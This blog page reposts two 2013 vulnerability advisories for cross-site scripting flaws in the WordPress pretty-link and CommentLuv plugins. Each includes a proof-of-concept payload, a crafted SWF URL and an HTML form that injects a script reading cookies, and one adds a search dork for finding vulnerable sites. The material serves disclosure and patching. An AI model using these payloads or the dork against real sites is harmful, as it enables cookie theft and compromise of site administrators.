Showing posts with label plugin. Show all posts
Showing posts with label plugin. Show all posts

Thursday, February 21, 2013

Exploit - Wordpress pretty-link plugin XSS in SWF

# Exploit Title: Wordpress pretty-link‏ plugin XSS in SWF
# Release Date: 20/02/13
# Author: hip [Insight-Labs]
# Contact: hip@insight-labs.org | Website: http://insight-labs.org

 

# Software Link: http://downloads.wordpress.org/plugin/pretty-link.1.6.3.zip

# Vendor Homepage: http://prettylinkpro.com/

# Tested on: XPsp3
# Affected version: 1.6.3 before
# Google Dork: inurl:/wp-content/plugins/pretty-link/
# REF:CVE-2013-1636
-----------------------------------------------------------------------------------------------------------------------
# Introduction:
Pretty-link is Shrink, beautify, track, manage and share any URL on or off of your WordPress website. Create links that look how you want using your own domain name!
-------------------------------------------------------------------------------------------------------------------------
# XSS - Proof Of Concept:
vulnerable path:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf
vulnerabile parameter:get-data

POC:
/wp-content/plugins/pretty-link/includes/version-2-kvasir/open-flash-chart.swf?get-data=(function(){alert(xss)})()

-------------------------------------------------------------------------------------------------------------------------
# Patch:
-- Vendor was notified on the 23/01/2013
-- Vendor released version 1.6.3 on 25/01/2013 Fixed the bug
-- REF:http://wordpress.org/extend/plugins/pretty-link/changelog/

-------------------------------------------------------------------------------------------------------------------------






Courtesy: securityfocus.com

Thursday, February 07, 2013

Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin

Advisory ID: HTB23138
Product: CommentLuv WordPress plugin
Vendor: Andy Bailey
Vulnerable Version(s): 2.92.3 and probably prior
Tested Version: 2.92.3
Vendor Notification: January 16, 2013
Vendor Patch: January 17, 2013
Public Disclosure: February 6, 2013
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1409
Risk Level: Low
CVSSv2 Base Score: 2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor



Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CommentLuv WordPress plugin, which can be exploited to perform Cross-Site Scripting (XSS) attacks.


1) Cross-Site Scripting (XSS) in CommentLuv wordpress plugin: CVE-2013-1409

The vulnerability exists due to insufficient filtration of user-supplied data in "_ajax_nonce" HTTP POST parameter in the "/wp-admin/admin-ajax.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.

PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to display administrator's cookies:


<form action="http://[host]/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to CommentLuv 2.92.4

More Information:
http://wordpress.org/extend/plugins/commentluv/changelog/


-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23138 - https://www.htbridge.com/advisory/HTB23138
 - Cross-Site Scripting (XSS) Vulnerability in CommentLuv WordPress Plugin.
[2] CommentLuv - http://www.commentluv.com/
 - CommentLuv is a popular WordPress plugin that will magnetize your readers, socialize your comments and viralize your posts.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/
 - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org
 - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.


Courtesy: High-Tech Bridge Security Research Lab